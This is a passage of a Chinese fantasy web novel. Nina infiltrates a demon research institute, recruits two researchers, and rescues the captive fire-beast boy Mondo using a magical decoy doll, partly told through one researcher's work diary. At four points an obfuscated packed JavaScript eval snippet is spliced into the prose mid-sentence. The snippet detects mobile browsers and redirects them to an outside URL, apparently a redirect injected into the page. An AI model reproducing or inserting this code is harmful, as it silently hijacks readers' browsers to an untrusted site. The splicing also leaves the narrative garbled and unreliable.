听到人声从背后响起，波诺立刻手忙脚乱地合上了面前的笔记本，并且放下笔，将两条前臂交叠着放在桌子上。 “你来干什么？进别人的房间之前不知道要先敲一下门吗？”他不高兴地说道。 “可是这里是公共区域……”那个声音又靠近了一些。 波诺愣了一下，旋即抬头四望，发现这里确实不是自己的房间，他恍恍惚惚地记起自己原本是想到花园里散一会儿步的，不知怎么就开始坐在花园的小圆桌上写起了日记。 一只蚊子从他耳边飞过，那嗡嗡的声音让他感到心烦意乱。 他伸手去拍，没有拍到，于是他盯着蚊子飞行的路线，直到半空冒出一点火星，那只可怜的蚊子像报废的飞行载具一样，带着一缕烟掉到地上。 蒂德莉目瞪口呆地看着这一切：“你做了什么？” 波诺这才慌慌张张地搪塞起来：“我只是弄死了一只蚊子。” “你点燃了它——你把它给烧死了？”蒂德莉的视力和她的体格一样优秀，而这也是出色的战士所必备的属性，“别误会，我不是指责你的杀生，我也会拍死吵到我的蚊子，我惊讶的是，你居然用了魔法，而且还是……元素类的。” “我们从魔族那儿抢来了核心，也因此继承了他们的魔法。你以前没有看到我用，只是因为我不愿意用而已。”波诺说了一个谎。 “不。”蒂德莉对他的说法持否定意见，“难道大狮鹫可以使用火焰的魔法？我不认为兽人中会出现使用火焰的种族。野兽都怕火。” 波诺放弃似的耸了耸肩：“因为我持有的不是大狮鹫的核心，而是炼狱兽的，答案就是这么简单又符合逻辑。” 这回轮到蒂德莉哑口无言。过了一会儿，她才说：“你得把事情给我说清楚。” * 妮娜通过公寓一楼的传送阵抵达赫尔马岱，独身一人，肩上披着阿加雷斯的魔法斗篷。 她下楼的时候看到这件神奇的外衣就挂在餐桌边的椅背上，于是在留下一张字条后就擅自将它借了过来。 这不是什么值得称道的行为，奈何情况紧急，她没空当面请示，而这件道具又如此便利。 她让留守在矿区2005办公室的亚历山大开车送她前往研究所，然后在安保人员的注视中旁若无人地走进研究所的大门。 她嗅到了空气中那股纯净的火焰的气息，这让她得以确定确定蒙多已经被韦斯特尔带到了研究所中。 她也同样嗅到了那股不祥的黑暗力量——那力量仿佛一个黑洞，试图吞噬一切靠近它的东西。 和仍持有极乐鸟核心时的蒂德莉身上的气息不一样，那几乎已经不像是她同族的气息了。 停车场里没有多余的车辆，韦斯特尔应该是通过研究所和贵族院之间的传送阵进行往返的。 而位于恶魔研究所中的那个传送阵——根据上次拜访此处时收集到的资料，妮娜已经大致确定了它的方位。 她将从波多尔那里得到的通行证挂在斗篷外面，这样，即使有人对肆意穿行在走廊上的外来者产生怀疑，她也能立刻证明自己的合法身份。 最终，她在一间门牌上写有“综合办公室”的房间外面停下脚步，开始倾听从里面传来的声音。 “目前保有的魔女数量还不足以确保实验顺利进行，如果要强行尝试的话，就要去赌不到半数的成功率，一旦失败，原材料将会尽数报废……” “我们只有这一头炼狱兽，你最好给我省着点用。” “那就应该把实验的执行时间再往后推迟一些，等到凑齐了魔女的数量，成功率超过99%之后再正式执行。” “产量没有对上，按照规定的生产速度，到目前为止研究所保有的魔女数量应该至少有170个，可报告中只显示了159个。少了11个。你有什么头绪吗？” “这个……其中一个是在上次参观的时候报废的，因、因为有一位大人不是下了那样的命令吗？” “还有十个呢？” “材料的进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545908|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 货出现了纰漏。采购部门不小心买到了一批有问题的盐类，那些问题盐让我们白白浪费了一整瓶试剂，也因此拖慢了生产效率。最终导致这十名误差的产生。” 导入问题材料是妮娜为了拖慢魔女生产速度而采用的一个办法，这是她使用的多种套路中最不容易被觉察到的方法。 如果直接告诉研究和生产部门将原定生产计划压缩到百分之多少的话，只要负责生产的管理者和韦斯特尔一对账就能发现问题，而以现在的方法，则能完美地掩人耳目。 “进行混合实验至少要两百个魔女，也就是说现在还少四十一个，给我一个时间，你需要多久才能完成这项工作？” “最短也要一个星期……哦，哦，加班加点的话，五天应该就能完成。” 这时候，门后面传来了一阵金属撞击硬物的声音。 妮娜立刻联想到第一次试图解救蒙多时看到过的能够封印魔法的笼子。 蒙多很可能就在这个房间里。 她将身体往门上靠了一下，希望能将那个声音听得更加清楚。 而她的这个动作不小心牵动了门上的某个装置，那东西被一根锁链吊着，垂在门把手的下方，由于晃动而与金属门发生碰撞，发出了一个吓人的声音。 “门外似乎有人。你们这儿的研究员难道已经闲到了有空来偷听别人讲话的地步？” “不，不，不是这样，我刚才联系一个新来的研究员送资料过来，应该是他到了。真是的，都已经呆了好一段日子，怎么还没有学会这儿的规矩。” 妮娜当然明白自己应该尽快找个地方藏起来，再不济也应该离这扇房门远一点，但这门似乎被施了某种魔法，抑或是她在研究所大门口感受到的那种黑洞般的力量。 总之她似乎被吸附在了门上。 “我命令你，赶紧放开我。”她用极小的声音尝试着向门上的魔法（如果存在的话）下达命令，但没有生效。 “好像有点奇怪，我去外面看看出了什么事，大人您请稍等片刻。”门后传来让人不安的话语。 妮娜的额头上开始直冒冷汗。她现在倒宁可阿加雷斯的魔法斗篷是一件真的隐身衣了。 她双手撑在门上，试图将自己从门上推出去，但她的身体就像一块磁铁似的紧紧贴在门上，而且眼下就连她的手也被吸住了。 正当她感到无计可施的时候，她感到有人从侧边推了自己一下，仿佛她是一张乱七八糟的桌子上被乱七八糟堆放着的书，而这个人试图把这堆书扫到一旁，好在桌子上开辟一块净土。 她被推到了门的斜上方，但仍被门紧紧地吸着。 她仰着脖子——避免脑袋因为触碰到门板然后被也被吸住——向斜下方看了一眼。 手里拿着一叠文件的青年熟练地操作着门上的密码锁，在通过审核之后，又在门上敲了三下，直到里面传来“进来”的应答声，他才拧开门把走了进去，期间完全没有朝上方看过一眼，故而妮娜也没能看到他的正脸。 109. 怀特泽昂 “我就说是我的人来了。”门里的人说，“快把我让你准备的东西跟大人汇报一下，口齿清楚一点。” “这里有放映机，所以我把数据做成了可视化的演示文稿，这样汇报效果应该会更好。” 妮娜认出了那是尤金的声音。 “噢……你还真是一个办事周到的家伙。” “好了，弄快点儿，我可不是一个有耐心的人。” “当然，当然，年轻人，手脚给我麻利点。” 妮娜又听到了撞击金属的声音。 她对门（或是门上的魔法）说道：“再不放开我，我就让房间里的炼狱兽把你给烧化了。他的焰温对付你绰绰有余。” 过了大约两秒钟，她从门上滑了下来。 刚才的小小危机没有让妮娜引以为戒，她反而因为可以通过威胁这种不道德的手段使高级魔法屈服这一发现而感到兴奋不已。 她躲在门背后偷听了一会儿，一边思忖是否能找到空子将蒙多救出来。 数据可视化的确是一个高效的工程，尤金很快就完成了工作汇报，被里面的上司“赶”了出来。 他老老实实、若无其事地关上了那扇厚重的门，没有说话，但是对边上的不速之客使了一个眼神，意思是“跟我来”。 于是妮娜就跟了上去。 她被带到了应该是这位研究员私人办公室的房间。 “我之前以为你是那个人的部下，所以其实不是？”尤金开门见山地问道。他调整了一下办公室那面百叶窗的角度，让室内的光线显得既不过于昏沉，又不至于刺眼。 而妮娜同样开门见山：“雷诺阿和我说过你的事了，正好我有计划筹办一家专门服务于魔族的医院，正在招募有实力的恶魔医生，或许你会感兴趣？” 大概是从她的提问中得知了她的立场，尤金的脸色缓和起来：“你冒着这么大的危险潜入研究所，总不会只是为了来挖角的吧？” “你应该知道，那个人想用炼狱兽的身体成分对新型魔女进行强化融合，我来是为了救那个臭小子出去的。”妮娜说。 尤金把文件放进柜子里归档，一边问：“这么说来，你一定已经有什么计划了。” 妮娜面露难色：“没有。我刚刚才知道这件事，怕来晚了会抱憾终身，所以一步都没有耽搁就赶来了这里，还来不及准备计划……” “上次见面的时候我就隐约觉得你是一个莽撞的人了。” “不，大多数时候我还是有一个大致计划的。” “……有五天的时间。” “什么？” 尤金开始表现得有些不耐烦：“你也听到了吧，距离达成实验所需的魔女数量，还有五天的时间，至少这五天里，炼狱兽是安全的——我是说不会有生命危险。” “确实如此。” “所以你就用这五天时间好好制定一个计划然后执行吧，里面还得包含善后的工作，不然我们这些无辜的研究员一定会被那位大人狠狠惩罚的。” “我知道了。” “你刚才说，你认识雷诺阿？”尤金似乎早就想这么问了。 “他已经是罗德里斯公寓的正式员工了，将会成为专司教育部门的管理人，以后你们兄弟俩就可以一块住在赫尔马岱了。如果找不到合适的房子，我可以用优惠的价格提供员工宿舍——”妮娜提出了优厚的条件。 “等一等……罗德里斯公寓？”尤金眯了一下眼睛，表情变得复杂起来，“你不叫珊迪亚戈·弗兰西斯科。那个大学生叫什么来着？” “我叫妮娜·斯特尔，很高兴认识你，尤金研究员。”妮娜报上了自己的真名，并向尤金伸出右手。 尤金张了张嘴，然后又闭口不言，过了好一会儿，才小声说道：“我一直在关注那个项目。” “在莉莉加入之后？”妮娜下意识得出这个结论。 尤金摇摇头：“从一开始。因为项目的意义是改善人类和魔族的关系——那时候根本就没有大学生会想做那种事。我觉得很好奇，也有一点期待。” 妮娜想起了她的项目在刚刚登录之后就获得了几个人微言轻的“看好”，也许那里面就有尤金点下的一个，她不禁觉得世事总是存在这样那样的巧合。 “还有一件事情，我必须给你提个醒。” “是什么？” “你刚才经过的那个走廊上装着监控摄像头，你被吸在门上的样子一定已经被录下来了。我想你也许有办法消除或改写那段录像？” “不，并没有……如果我知道那里有摄像头存在，我绝无可能像那样轻举妄动。” 尤金叹了口气：“我会找个机会帮你毁尸灭迹的。毕竟摄像头也一定拍到了我的样子，我可不希望被送进审讯室。” 他又取出一张名片：“上面有我的联系方式，我相信你可以找到隐匿发信源的通讯方法。” “我很需要——”妮娜双手接过，“营救蒙多，我是说那个炼狱兽，一定会需要你的协助。” 尤金终于露出了两人自认识以来的第一个笑容：“我很荣幸。” “话说回来，你们这里目前还缺人吗？” * “很高兴能与您取得联系，我对在罗德里斯公寓的工作充满向往和期待，我认为我的专业知识能在工作中发挥作用，同时，我也能通过这份工作切实了解到更多和魔族有关的知识，这是学校和课本难以提供的…… “期盼您的再次回复。 “怀特·泽昂” 回到矿区2005办公室进行休整时，妮娜收到了那名比斯特里魔族生物学学生的私信。 不过私信内容看起来就像是一个不那么熟练的求职者在面对用人单位时的个人向官方发言，这种努力让自己看起来充满干劲、未来可期的口吻对妮娜来说并不陌生。 毕竟她在求职的时候就有过类似的表现。 现在她需要了解更多关于这个怀特·泽昂的真实情况，至少要清楚他对魔族究竟抱有怎样的态度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555760|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她可以接受一个不那么喜欢魔族的员工，但绝不允许在罗德里斯公寓中出现仇视魔族的种族主义者。 “如果方便的话，本周内我想进行一次面谈。在此之前，有一些情况我想提前了解一下。 魔族生物学专业的学生绝大部分都会被研究所吸收，据我了解，目前仍有在招募人员的研究所。是什么原因导致你没有选择研究所的工作呢？ 如果可以的话，我也想听听你当初为什么选择了这个专业。” “感谢您能给我这次机会，关于您提到的两个问题，我可以在这里做一些简单的答复。 研究生二年级的时候，我在一家和学校有合作关系的研究所里呆了一段时间，我以为能接触到一些魔族病例，进行与实践相结合的病理研究，但是研究所内普遍存在的虐待和其他非人道行为让我的精神受到了极大的刺激，所以我彻底放弃了研究所方向的就业。 至于选择这个专业的初衷……我有过一个魔族朋友，她在我十二岁的时候患病去世了，因为一种人类完全不了解的魔族病症。也许是为了将来有一天能够告慰她的在天之灵吧。” 怀特这次的回复比第一次少了一些僵硬的感觉，当仍让人觉得他有所保留，也难以判断其中的真伪，但至少叫妮娜心里有了些底。 “我明白了。” 因为怀特目前就住在王都，而且当天没有别的安排，于是妮娜直接约了他下午见面，以尽快决定是否要接纳他成为罗德里斯公寓的人类员工。 会谈的地点就在罗德里斯公寓二楼的会议室。 怀特出现得极其准时，可以说分秒不差。 他真人给人的印象与网上的留言不怎么相符。梳理得丝丝分明的头发，熨帖的领结，量身裁剪的正装。妮娜对奢侈品极其生疏，但光从服帖的版型和材料的质地就能判断，那套衣服价值不菲，甚至还不是有钱就能买到的东西。 那应该是专门定制的。 如果这不是他用来给自己强撑排场，那么他的家境一定在社会中属于中上。即使真的是一项面子工程，也能证明他绝不贫穷。 而和他高端华丽的衣着与外表相去甚远的则是他身上那种忧郁的气质。仿佛他就是为了说明“有钱也无法获得快乐”这件事而出生的。 “很高兴见到你，怀特先生。” “很高兴见到你，女士。” “你看起来完全是那种不工作也能活得很好的人。”妮娜盯着他手腕处闪着低调而奢侈的光芒的袖扣，忍不住说道。即使她意识到这种行径颇为无礼。 怀特摇了摇头：“不……我很想在这里工作。”他以为面试官的那句话是在对他表示婉拒。 “可以说说你那位去世的朋友吗？”妮娜问，“可以隐去你认为不方便说的部分，我想着重了解一下她所罹患的疾病，以及目前对那种疾病的研究。” 除了阿加雷斯，她还没有见过魔物生病的例子，更何况如今阿加雷斯并非魔族的事实也已明了。 110. 失败案例 怀特开始说起往事。 “她叫郁金香，是我家的仆人，我出生之前她就在我家工作了，我出生后的很长一段时间，也是她承担了大部分照看的责任。她比我大很多，但我一直把她当成无话不谈的朋友。” 说话者的眼里露出了怀念的神情。 “她长得高瘦，而且皮肤苍白，看起来就像生病了一样，据说那就是她的种族特征。我想，就是因为这样，我才没能及时发现她的病症，当我意识到她的健康出现问题的时候，一切都已经晚了。” “她成日成夜地咳嗽，简直要把肺都咳出来。我的父母想把她赶走，我苦苦哀求，他们才把她留了下来，但不允许她走出屋子，而且不允许我叫医生。于是我开始在网络上查找资料，或是向认识的家庭医生打听办法。” “我进行了很多尝试，但最终还是没能挽救她的性命。” 怀特似乎又沉浸到当年那段回忆之中，眼眶里浮现出泪花。他的叙述技巧并不高超，但他的语气补全了文字中缺失的情感。 “……她拉着我的手，说，‘小怀特，能照顾你是一件幸事，现在我就要回归生命之树了，不要难过，你应该替我高兴。’然后她就死了。” 妮娜给了他一段空白的时间缓冲，以免显得自己太过冷酷无情，这才问道：“你现在知道她患的是什么病了吗？” 怀特扑簌簌地落下眼泪，摇了摇头，又觉得这有些失态，立刻平复了一下情绪，补充道：“但我对目前已知的所有魔族特有病症及治疗方法都进行过深入学习，在研究生期间还发现了一种高发于鸟类半兽人的寄生虫疾病。” 他大概是担心自己的软弱的、情绪化的表现会影响面试官对其专业能力的判断。 妮娜关注的却不是这个问题。“我想郁金香女士应该是一位深渊巫妖？”她问。 怀特轻轻地嗯了一声。 妮娜犹豫了一会儿，不知是否该告知怀特她的一个猜测，但在看到他那张被泪水沾湿的脸庞，以及那双胆怯的眼睛中时而闪现的坚毅时，还是决定把心里想到的事情说出来。 “我想郁金香女士或许是某项实验的……失败品。她在生命末期所表现出来的病症，应该是实验失败的后遗症。” 她暂时没有将“魔女是种人造产物”的事实告诉怀特。 “实验……”怀特在听到这个词的时候，让人意外地没有发生过激反应，而像是突然想通了什么似的，脸上出现了一种复杂的表情。 妮娜对自己的判断有超过七成的信心。听怀特的描述，郁金香显然是一位深渊巫妖，而深渊巫妖在出生后就会被送去研究所，在幼年时便要经历漫长的耐受性实验，在彻底完成种族分化之后便会通过混血实验，成为世人所知的魔女。 正是出于这个原因，社会上几乎无法看到深渊巫妖的影子，以至于人们都渐渐忘了这个种族的存在。 但谁也不能保证混血实验一定会成功对吧？甚至还会出现像乌鸦那样，在小时候被误判为深渊巫妖，并接受多余实验的例子。 而实验的失败品会被送到哪里去呢？ 或许会像乌鸦那样，因为保护者的存在而幸运地活下来。又或者像郁金香这样，流入某个有钱的家庭，成为任劳任怨的仆人。 “混血实验……还有信仰实验……您是说那样的实验吗？”怀特突然说道。 妮娜惊讶地看着他，不仅惊讶于他知道混血实验的存在，更惊讶于他提到的陌生名词。 信仰实验，这会与那份资料上的“仪式”有什么关联吗？ “你了解那些实验？”她试探地问道。 怀特遗憾地摇摇头：“只是在研究所实习的时候听说过一些……”又露出一个可怕的表情：“我确实在那种实验室附近看到过深渊巫妖，难道……难道……” 妮娜一把抓住他像突发癫痫一般不停打颤的手：“我决定雇佣你了，而且立刻就有一个任务要派发给你。” 怀特停止了颤抖，可怜巴巴地望着她，茂密细长的睫毛上还挂着一些泪珠：“什么任务？” “我要你以实习生的身份潜入赫尔马岱的恶魔研究所。我有一个恶魔朋友被抓到那里当实验材料了，我得在五天之内想办法把他救出来。” 怀特少爷终于暂时放下了感性，有了一些符合他这个年纪的表现：“五天？我觉得只来得及走一个实习入职的流程。” 妮娜拿出手机，打开波多尔市长帮她下载的研究所管理专用软件，找到一个栏目，然后摆在怀特面前：“你在这里录入自己的信息，我会在晚上让人准备好你的工牌，然后你明天就可以去那里上班了，有什么不明白的，可以去找一个叫尤金的研究员。” *** 《怀特·泽昂的工作日记》 第一天 今天是我在恶魔研究所就职的第一天。 我从来没想过自己会再次成为一名研究员。自从那次暑期实习结束后，我还以为自己再也不会涉足这份工作了。 不过妮娜女士答应我，她近期就会在赫尔马岱的工地附近开办恶魔医务室，并在我结束这个短期职务后将我调去那里任职。而且她还说，将来总有一天要把恶魔研究所变成一家高水平的恶魔医院，到那时，我就是元老级职员了。 这个计划听起来像是天方夜谭，不过考虑到她至今为止的创业成绩，我认为这应该不完全是空想。 成功通过大门口的人脸识别并进入到研究所内部后，我在第一时间去找了那个名叫尤金·黑风的前辈。 他看到我的时候，似乎愣了一下，这让我很紧张，我担心他是否真的从妮娜女士那里了解到我的状况。 不过看到他之后的表现，我认为他可能只是因为我风流倜傥的外表感到讶异。 他很快就帮我分配了具体的职位、告诉我工作的细节，还时不时帮我打掩护，以从那些对我有所怀疑的人面前蒙混过关。 我的工作是管理器材室，这意味着我不用接触到那些因为“科学研究”而受到虐待的魔物们，但在看到某些刑具般的仪器时，我还是感到一阵不寒而栗。 那些令人难受的回忆似乎又涌上脑海。 我的工作岗位距离关押炼狱兽的地方很近，能清楚地听见他在铁笼中走动（或是挣扎）发出的动静。 我在学术资料里见过炼狱兽和其他元素兽，除了尖耳廓之外，他们在外形上极其接近人类——所以阅读那些资料会给人十分怪异的感受。 我还没有见过活的炼狱兽。 尤金告诉我那是一个（长得）挺可爱的少年，而妮娜女士则告诉我她认为我会和那个炼狱兽少年成为好朋友。 自郁金香离开人世之后，我再没有奢望过一个魔族朋友了。 希望我能顺利解救那位炼狱兽少年。 …… 第二天。 我很想亲眼见见蒙多，不过没有得到相应的许可，我请求看守员让我看看，看守员却对我的身份起了疑心。 我再三保证自己是这里的合法员工——不仅被录入了这里的内部系统，而且还签署了正规的用人合同，但不知道为什么，直觉告诉我我在这里不能表现得太高调，也最好不要惹是生非，于是我离开了那里。 尤金说他可以趁送饭的时候进去看看那个可怜的少年。 我知道这里的魔物不会得到太好的待遇，谁会对实验原料付诸真心呢？ 但一想到那里面关着一位活生生的少年，才十五六岁，我就觉得分外痛心。 这两天来，我记录了研究所的工作人员们在牢房进出或在附近区域活动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565815|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时间、人数及其他我能观察到的情形，并把这些内容如实汇报给了妮娜女士。 我还知道哪些人拥有牢房的钥匙，哪些人同时拥有笼子的钥匙——这都是我从人们的行动和对话中推理出来的，妮娜女士说这些情报非常有用。 今天下午，有人从炼狱兽身上抽了一管血液，应该是拿去做检测，测试他的身体状况是否适合实验，这是一个不好的兆头。 而且我看见那家伙进门的时候带了麻醉工具——我猜如果不打麻药，他根本没法从炼狱兽身上取到血液。 我越发担心那孩子的身体状况了。他撞击笼子的动静比昨天小了很多。笼子上恐怕施加了从内部隔绝声音的魔法，因为我从来没有听到过那个少年的喊叫声。 …… 第三天。 妮娜女士来了。她的行动非常小心，似乎不愿意让别人发现她的存在。 这很奇怪，她到底是什么人？ 既然她有权聘用我，说明她在研究所拥有一个高级职位，既然如此，她为什么不能直接要求释放蒙多呢？ 她不希望别人发现她对魔族有感情？ 可罗德里斯公寓已经那么出名了，社会上也出现了一些魔族权利的支持者…… 说起来，她在这里用的是假名，除了尤金和我，没有人知道她是妮娜·斯特尔。她在这里用的是珊迪亚戈·弗兰西斯科这个名字。 托她的福，我见到了那个令我心心念念的小家伙，那头炼狱兽。他有一双明亮又倔强的眼睛和一头红色的中发，是一个长相可爱的少年。 妮娜女士说，他的名字叫蒙多。于是我用这个名字尝试呼唤了他。他应该说了些什么，遗憾的是我不懂得唇语。 我猜想的没错，那个笼子上果然有隔绝声音的魔法，因此我们在笼子外面只能看见他的嘴巴张张合合，他时而挥舞拳头，时而又紧紧攥着牢笼上的金属辐条，或是用脚去踢它们。 这种可怕的幽禁生活让他的性格变得非常暴躁。 不过妮娜女士让他安静一点的时候，他立马就静了下来，安分得像一尊雕塑，只是眼神有些委屈。 这说明他虽然有暴力的一面，但总体上是个听话的孩子。况且前者完全有可能是目前的糟糕生活导致的。 妮娜女士给蒙多拍了很多照片，类似于证件照的那种，正面、背面、侧面，甚至是斜侧面。她说这些是用来给正在制作中的替身玩偶当外形参考的。 据说她这两天已经做了不少准备，其中就包括一个用于暂时掩盖蒙多逃离事实的替身，她声称那是一个等比例大小的玩偶，在魔法的加持下可以进行一些复杂的自主动作和响应动作，看起来几乎像真人一样。 她说这是她的几个朋友联合制作的魔法道具，现在只差外形渲染了。 我不知道实物是怎样的，但再怎么逼真，那也只是个玩偶吧？ 不过看得出来，她是一个神通广大的人，好像在哪个行业都有人脉。问题是她还那么年轻，她比我还小两岁呢。 这就是恩斯法内大学的光环吗？ 她在临近下班的时候还向我展示了控制监控的方法，用液态的星屑干扰录像状态，不是单纯地造成雪花点或是删除片段，而是精确地去除某些场景中的人像及相关行动痕迹。 显然，她私下接触蒙多的行动是没有得到研究所许可的——更不用说正在进行中的营救计划。 毫无疑问，修改监控也是一种魔法能力，我不知道她是如何掌握的。 我认为政府不会允许相关魔法媒介或道具的贩卖，因为这种效果如果应用于一些违法的事情，那将变得非常有害。 妮娜女士是一个越了解便越觉得不可思议的人。 我不禁怀疑她是否真的是人类。 …… 111. 工作日记 《怀特·泽昂的工作日记》（下） 第四天。 我已经开始习惯这里的工作了。虽然工作内容琐碎又费神，我觉得一些电脑程序也能很好地完成它们，但是比起我之前呆过的研究所，我宁可干这些无聊的工作。 更何况，我也在解救蒙多的过程中出了一份力。 没错，妮娜女士今天正式执行了解救蒙多的计划！ 她带来的那个替身人偶根本不是我想象中那种死板的雕塑，那是能够以假乱真的魔法杰作！虽然她表明魔法效果只能维持二十四小时，时间一过，它就会变成无法运动也无法出声的真正的雕塑，但至少今天，它是完美的！ 营救行动在午餐结束后开始，那是一天中整个研究所氛围最松懈的时候。 尤金的身份卡可以无障碍地进入关押蒙多的房间，而我——利用自己的丰神俊朗和风趣谈吐从一名在推理名单上的研究员那里要到了那件关键道具，牢笼的钥匙。 妮娜女士所做的前期准备和时间的充裕程度成反比，现在回想起来，整个营救流程都非常顺利，我们三个就像经过无数次磨合的特务一样，行云流水地完成了一切。但事实上在这个过程中我的精神高度紧张，心脏像随时会跳出胸腔…… 星屑魔法可以实时修改监控的时间只有连续的六分钟，我们的行动不仅要非常谨慎，还必须十分迅速，而这一切完全没有经过彩排，我只是将上午尤金递给我的那份行动步骤背得滚瓜烂熟。 现在是星期四的晚上，我坐在书桌前写日记，而那个惟妙惟肖的魔法玩偶一定正在忠实地履行使命吧？ 在将蒙多救出牢笼之后，我们立刻把他转移到了事先准备好的手推车里，这东西本来是用于批量运送实验器材的，目前正处于我的管辖之下。 我和妮娜女士推着车，就这么明目张胆地从研究所的大门离开，没有遭到任何阻拦。妮娜女士说她提前通知过门卫，今天下午会有一辆手推车出门……总之她和研究所的关系似乎很复杂，我至今还没有完全弄明白。 事先安排好的车辆已经在研究所外面候着，我们把蒙多送到车上，这样一来，营救任务就基本完成了。 尤金事后告诉我们，临近下班的时候，一名贵族来研究所视察过，这完全是计划之外的情况，不过他似乎没有发现蒙多的异样——这足以说明那个玩偶上的魔法天衣无缝！ 妮娜女士已经把我和尤金从研究所的人事名单中除名了，明天我和这位搭档就将开始在赫尔马岱的行医，真怕我今天晚上会兴奋得睡不着觉。 *** 星期五。 魔女的产量已经达到了能够确保实验效果的数字。 然而韦斯特尔难以压抑心中的盛怒。 “那头炼狱兽呢！我问你们，那头炼狱兽呢！” 研究员小心地答道：“在……在笼子里。” 韦斯特尔手上的黑色烟雾像一团拧在一起的蛇一样，将牢笼的金属门缠了起来，接着，那些金属就如同接触到了高纯度的强酸一样，被腐蚀，变成一个空洞。 研究员分明看到牢笼里的囚徒害怕地往后缩了一下，然后被雾气从笼子里强行拖了出来，狠狠摔在地上，直接把地板砸出了一个坑——如果那真的是一个小孩，他也许已经当场毙命了。 但研究员没有看到四溅的血液，他觉得有什么东西蹦到了自己的衣服上，便用手摸了一下，发现那是一枚金属零件。 被摔在地上的不是炼狱兽，而是一个制作精美的死物。 “这……这怎么可能呢？！” 不消问，事实就是如此，炼狱兽失踪了。不知道从什么时候开始，被关押在牢笼中的就只是一件没有生机的魔法道具。 “我、我现在就去调查监控！”研究员哆哆嗦嗦地说道，想要立刻从这位贵族面前逃离。他已经受不了这不人不鬼的家伙身上散发出来的黑色粒子了，总觉得再吸入几口就会没命似的。 不过为时已晚。他没有等到回答，只等到铺天盖地的瘴气向他袭来，一下子将他包裹其中，再然后，他有一瞬间感到浑身血液都在四处乱窜，让他痛不欲生，紧接着，所有知觉便都消失了。 韦斯特尔没有杀人的嗜好，他只是太生气了。 这个魔法人偶简直是对他的一种羞辱，而他知道这一切的幕后指使是谁。 那个可恶的，邪恶的，阴魂不散的魔王！ * 距离神秘人带走炼狱兽已经过去了一段时间，网络上还没有出现任何阿尔弗雷德所期盼的“澄清”。 他不得不认真考虑导师7号给他的真诚建议，也就是尽快表态认错，展现出自己负责担当的一面。 他花了一整个下午和小半个晚上，经过无数次修改，终于作出一篇差强人意的认错文章，并按照常见的样式做成图片，加上了地狱火的印章，郑重其事地发表到了网上。 接着他迅速关闭所有社交平台，切断网络，连澡也没洗，就一头钻进了被子里，空调的风正隔着那层蓬松的被子在他头顶呼呼地吹着。 他的心脏一开始跳得很厉害，让他以为这准会是一个失眠的夜晚，没想到的是竟很快就沉入了梦乡，度过了一段平静美好的睡眠时间。 第二天早上，因为充足的睡眠而暂时忘记了前几天那些不愉快的阿尔弗雷德习惯性地打开手机，收看在他熟睡期间所发生的奇闻异事，直到在社交媒体的后台看到蜂拥而至的留言，他才迷迷糊糊地想起之前发生了什么。 “见鬼……不该在这个时候打开的。”他痛苦地皱起眉头，但还是迎着内心的抗拒打开了那些消息。 [当事人已经认罪，结果官方下场洗地，所以真相到底是什么？] [我超级喜欢地狱火的，产品出一件买一件，求求你在我出坑之前不要爆出什么丑闻好不好！！！！] [贵族院的公告应该还是可以相信的吧？阿尔弗雷德本人的道歉信可能是迫于舆论压力才写的，不一定是事实。罪犯屈打成招不也是常有的事吗？] [事到如今还有人相信贵族院吗，它还有什么公信力吗？劝你们不要太天真。更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575509|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的可能性是他们和这个阿尔弗雷德有什么利益勾结，所以要下场保他，结果阿尔弗雷德这蠢货自己不知道，先一步发了道歉信，结果弄巧成拙。] [地狱火主打的不是魔族文化吗，贵族院为什么要保他？] [他是打着魔族的旗号反魔族，一边给社会制造一点消费主义风气，一边靠送一帮老魔族下地狱起家，说的好像和主形象的那头炼狱兽有不解之缘，实际上把人家坑进沟里——贵族院就是喜欢这样的家伙。] [假装仁义，其实背后捅刀。] [明明是捅完刀再回过头假仁义，还要拿着人家的骨灰卖钱呢。] [也不知道喜欢这个牌子的人都是什么成分。] [之前那个发帖人呢，怎么不出来对线了？不是让大佬调查过了吗？所以结果是错的？] …… 铺天盖地的话题和评论让阿尔弗雷德一阵头大。 